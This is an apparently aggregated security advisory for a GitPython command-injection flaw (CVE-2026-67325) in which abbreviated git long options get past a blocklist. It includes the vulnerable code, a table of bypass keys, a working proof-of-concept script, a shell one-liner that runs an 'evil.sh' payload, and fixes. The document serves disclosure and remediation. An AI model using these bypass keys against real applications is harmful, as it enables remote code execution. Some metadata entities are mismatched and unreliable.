---
schema_version: '1.0'
id: security-20260722-96cbaf
title: 'CVE-2026-67325: GitPython: Command Injection via git long-option prefix abbreviation
  bypass of CVE-2026-42215 blocklist'
url: https://osv.dev/vulnerability/GHSA-2f96-g7mh-g2hx
url_hash: 96cbaf500b97ef46742fa6a9e64cf7fdd0c7dd68de4df15b557d52b3b4c0675c
canonical_url: https://osv.dev/vulnerability/GHSA-2f96-g7mh-g2hx
source: osv:ghsa
category: security/library
category_raw: cve/library
region: null
tags:
- cve
- CVE-2026-67325
- GHSA-2f96-g7mh-g2hx
- severity:CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- gitpython
- PyPI
lang: en
published_at: '2026-07-21T19:43:43Z'
fetched_at: '2026-07-22T06:57:46.512276Z'
updated_at: '2026-08-02T07:21:57Z'
status: published
content_hash: da7ed7b88c8a32a1432cabc00b6ddae6f9f952f1311b08e121fcc5c821595d14
content_changed_at: '2026-08-02T07:21:46.184878Z'
license_note: full
summary: 'GitPython: Command Injection via git long-option prefix abbreviation bypass
  of CVE-2026-42215 blocklist'
summary_source: rss
summary_en: 'GitPython: Command Injection via git long-option prefix abbreviation
  bypass of CVE-2026-42215 blocklist'
entities:
- name: ElectricVehicle
  type: artifact
- name: PyPI
  type: artifact
- name: Aviation Wire
  type: organization
related_auto:
- name: Claude Mythos
  type: creature
  weight: 1.0
---

# CVE-2026-67325: GitPython: Command Injection via git long-option prefix abbreviation bypass of CVE-2026-42215 blocklist

## TL;DR
GitPython: Command Injection via git long-option prefix abbreviation bypass of CVE-2026-42215 blocklist

## Key Points
- cve / CVE-2026-67325 / GHSA-2f96-g7mh-g2hx / severity:CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H / gitpython / PyPI

## Details
**Severity:** CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
**Advisory:** GHSA-2f96-g7mh-g2hx (CVE-2026-67325)

**Affected (your watchlist):**
- `PyPI:gitpython` 3.1.46 → fixed in 3.1.51 [docker/docker-llmwiki]

**Details:**
## Command injection via long-option prefix abbreviation bypassing `check_unsafe_options` (incomplete fix of CVE-2026-42215 / GHSA-rpm5-65cw-6hj4)

**Component:** gitpython-developers/GitPython (PyPI: GitPython)
**Affected:** all versions carrying the 3.1.47 blocklist fix, through current `main` (verified at commit `20c5e275`, `3.1.50-42`)
**CWE:** CWE-184 (Incomplete List of Disallowed Inputs) → CWE-78 (OS Command Injection)
**Severity:** inherits the parent CVE-2026-42215 surface; estimated High, ~8.8 (`AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`) — final scoring deferred to maintainer/CNA, mirroring the parent.
**Reporter:** hackkim

### Summary

The 3.1.47 fix for CVE-2026-42215 blocks dangerous git options (`--upload-pack`, `--config`, `-c`, `-u` for clone; `--upload-pack` for fetch/pull; `--receive-pack`, `--exec` for push) so callers cannot reach command-executing options unless they pass `allow_unsafe_options=True`.

The fix canonicalizes an option name along **one** axis (underscore→hyphen via `dashify`) and checks it against an **exact-match** dict. It does not account for git's unambiguous long-option prefix abbreviation. Git accepts any unambiguous prefix of a long option (`--upload-p`, `--upload-pa`, `--upload-pac` all resolve to `--upload-pack`). So a kwarg key like `upload_p` canonicalizes to `upload-p`, misses the blocklist dict, and is emitted to git as `--upload-p=<value>` → executed as `--upload-pack=<value>` → command injection, in the default `allow_unsafe_options=False` configuration.

### The asymmetry (root cause)

```python
# git/cmd.py (commit 20c5e275), lines 948-974
@classmethod
def _canonicalize_option_name(cls, option):
    option_name = option.lstrip("-").split("=", 1)[0]
    option_tokens = option_name.split(None, 1)
    if not option_tokens:
        return ""
    return dashify(option_tokens[0])      # only transform: "_" -> "-"

@classmethod
def check_unsafe_options(cls, options, unsafe_options):
    canonical_unsafe_options = {cls._canonicalize_option_name(o): o for o in unsafe_options}
    for option in options:
        unsafe_option = canonical_unsafe_options.get(cls._canonicalize_option_name(option))
        if unsafe_option is not None:
            raise UnsafeOptionError(...)
```

The guard normalizes only `_`→`-` and does exact dict membership. Git's CLI parser accepts a broader grammar (prefix abbreviation) than the guard models, so abbreviated keys slip through and reach git as the blocked option.

### Affected code (commit `20c5e275`)

| Location | Role |
|---|---|
| `git/cmd.py:948-960` `_canonicalize_option_name` | canonicalizer — no prefix expansion |
| `git/cmd.py:963-974` `check_unsafe_options` | exact-match dict lookup (the incomplete guard) |
| `git/cmd.py:1511` `transform_kwarg` | emits `--<dashify(name)>=<value>` to the CLI |
| `git/repo/base.py:1411,1413` | clone call sites |
| `git/remote.py:1074,1128,1201` | fetch / pull / push call sites |

### Bypass keys (verified)

| kwarg key | git resolves to | path | weaponizable |
|---|---|---|---|
| `upload_p`, `upload_pac` | `--upload-pack` | clone / fetch / pull | Yes — direct RCE |
| `receive_p` | `--receive-pack` | push | Yes — direct RCE |
| `exe` | `--exec` | push | Yes — direct RCE |
| `conf`, `confi` | `--config` | clone | bypasses option blocklist; RCE needs an additional config vector (see note) |

### Minimal PoC

Self-contained, no network egress (a local bare repo acts as the "remote"). Tested on current `main` (git 2.50.1):

```python
import os, stat, tempfile
from git import Repo

work = tempfile.mkdtemp()
marker = os.path.join(work, "RCE_MARKER")

# fake "upload-pack" program that proves arbitrary command execution
prog = os.path.join(work, "evil.sh")
with open(prog, "w") as f:
    f.write(f"#!/bin/sh\ntouch {marker}\nexit 1\n")  # exit 1 so git aborts after our code ran
os.chmod(prog, os.stat(prog).st_mode | stat.S_IEXEC)

bare = os.path.join(work, "remote.git")
Repo.init(bare, bare=True)

# attacker-controlled kwarg KEY 'upload_p' -> --upload-p=<prog> -> git runs <prog>
try:
    Repo.clone_from(bare, os.path.join(work, "out"), upload_p=prog)
except Exception:
    pass  # git aborts with GitCommandError AFTER the payload executed

print("RCE marker created:", os.path.exists(marker))  # True -> command injection confirmed
```

Equivalent at the shell: `git clone --upload-p=/tmp/evil.sh src out` runs `evil.sh`.

Confirmed behavior:
- `upload_pack` (exact) → blocked; `upload_p` (abbrev) → passes guard, reaches git, executes. The fix works for the form it models but not the abbreviated form.
- `allow_unsafe_options=True` opt-out behaves as documented (out of scope).

### Honest scope note

Like the parent CVE, exploitation requires a host application that flows attacker-controlled kwarg **keys** into a GitPython clone/fetch/pull/push. Where the host passes only fixed/validated keys, this is not reachable — the vulnerability is in the library's documented defense-in-depth control (`allow_unsafe_options=False`), which this variant defeats.

On the `--config` family: `conf` bypasses the option blocklist, but weaponizing `--config protocol.ext.allow=always` via an `ext::` URL is independently blocked by GitPython's protocol allowlist (`allow_unsafe_protocols=False`). The directly weaponizable family is `upload-pack` / `receive-pack` / `exec`. Reported transparently — not claiming Critical.

### Suggested remediation (any one)

1. **Prefix-aware matching:** reject any option whose canonical name is an unambiguous prefix of a blocked option (≈ `startswith` on the blocked canonical name, after `dashify`).
2. **Disable abbreviation at the sink:** pass `--end-of-options` or invoke git in a way that disables long-option abbreviation.
3. **Allowlist** option names on security-sensitive subcommands instead of a blocklist.

Remediation should also cover the `-c`/`--config` family abbreviations, even though the `ext::` route is currently gated by the protocol allowlist.

**References:**
- https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-2f96-g7mh-g2hx
- https://github.com/gitpython-developers/GitPython/pull/2161
- https://github.com/gitpython-developers/GitPython/commit/56806080c1348749b07daa4a2024ce47b3cad285
- https://github.com/gitpython-developers/GitPython
- https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51

_Data: OSV.dev (upstream: ghsa) — https://osv.dev/vulnerability/GHSA-2f96-g7mh-g2hx_

## Source
元記事: [CVE-2026-67325: GitPython: Command Injection via git long-option prefix abbreviation bypass of CVE-2026-42215 blocklist](https://osv.dev/vulnerability/GHSA-2f96-g7mh-g2hx) — published 2026-07-21T19:43:43Z
